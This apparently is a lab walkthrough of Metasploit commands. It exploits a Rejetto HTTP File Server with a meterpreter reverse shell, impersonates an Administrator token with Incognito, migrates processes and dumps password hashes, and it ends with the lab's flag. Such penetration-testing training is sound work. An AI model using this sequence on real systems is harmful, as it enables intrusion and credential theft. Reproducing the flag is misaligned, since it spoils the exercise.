Lab
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a token_impersonate
Set Global Variables
setg RHOSTS 10.3.29.116
setg RHOST 10.3.29.116
Scan with db_nmap
db_nmap -sC -sV 10.3.29.116 -Pn
Exploit the Rejetto HTTP File Server
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Check whether we can impersonate tokens:
getprivs
Incognito Module
Load Incognito and list the available user tokens:
load incognito
list_tokens -u
Impersonate the Administrator token:
impersonate_token "ATTACKDEFENSE\Administrator"
Migrate into a process running as the administrator, confirm the user, and dump hashes:
migrate 3616
getuid
hashdump
Flag
x28c832a39730b7d46d6c38f1ea18e12